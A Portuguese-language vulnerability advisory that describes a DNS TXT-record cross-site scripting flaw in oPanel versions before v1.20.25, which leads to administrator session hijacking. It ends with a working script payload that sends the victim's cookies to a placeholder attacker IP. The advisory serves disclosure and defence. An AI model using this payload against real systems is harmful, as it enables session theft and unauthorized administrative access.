
oPanel Cross-Site Scripting (XSS) Baseado em DNS e Sequestro de Sessão
Existe uma vulnerabilidade de Cross-Site Scripting (XSS) no oPanel (versões anteriores à v1.20.25) devido ao tratamento e à sanitização inadequados das respostas DNS. Quando o painel realiza uma consulta DNS (por exemplo, recuperando informações de domínio, verificando a propagação de DNS ou consultando registros TXT) contra um servidor de nomes controlado pelo atacante, ele reflete os registros DNS retornados diretamente na interface web sem codificação HTML adequada.
Um atacante pode explorar isso configurando um servidor DNS malicioso para responder a consultas de registros TXT com um payload JavaScript malicioso. Quando um usuário autenticado do oPanel (como um administrador) visualiza a página onde a resposta DNS é exibida, o payload é executado no contexto da sessão do navegador dele.
A exploração bem-sucedida permite que um atacante execute JavaScript arbitrário no navegador da vítima. Conforme demonstrado na Prova de Conceito, isso pode ser usado para roubar cookies de autenticação sensíveis (document.cookie), levando ao sequestro completo da sessão e ao acesso administrativo não autorizado ao ambiente oPanel.
A exploração exige que o atacante configure um servidor DNS malicioso e um listener HTTP para capturar os dados exfiltrados.
O atacante executa um servidor DNS malicioso na porta UDP 53, configurado para responder a qualquer consulta TXT com um payload de XSS.
Payload de Registro TXT Malicioso:
<script>new Image().src='http://<ATTACKER_IP>:<HTTP_PORT>/log?cookie='+document.cookie;</script>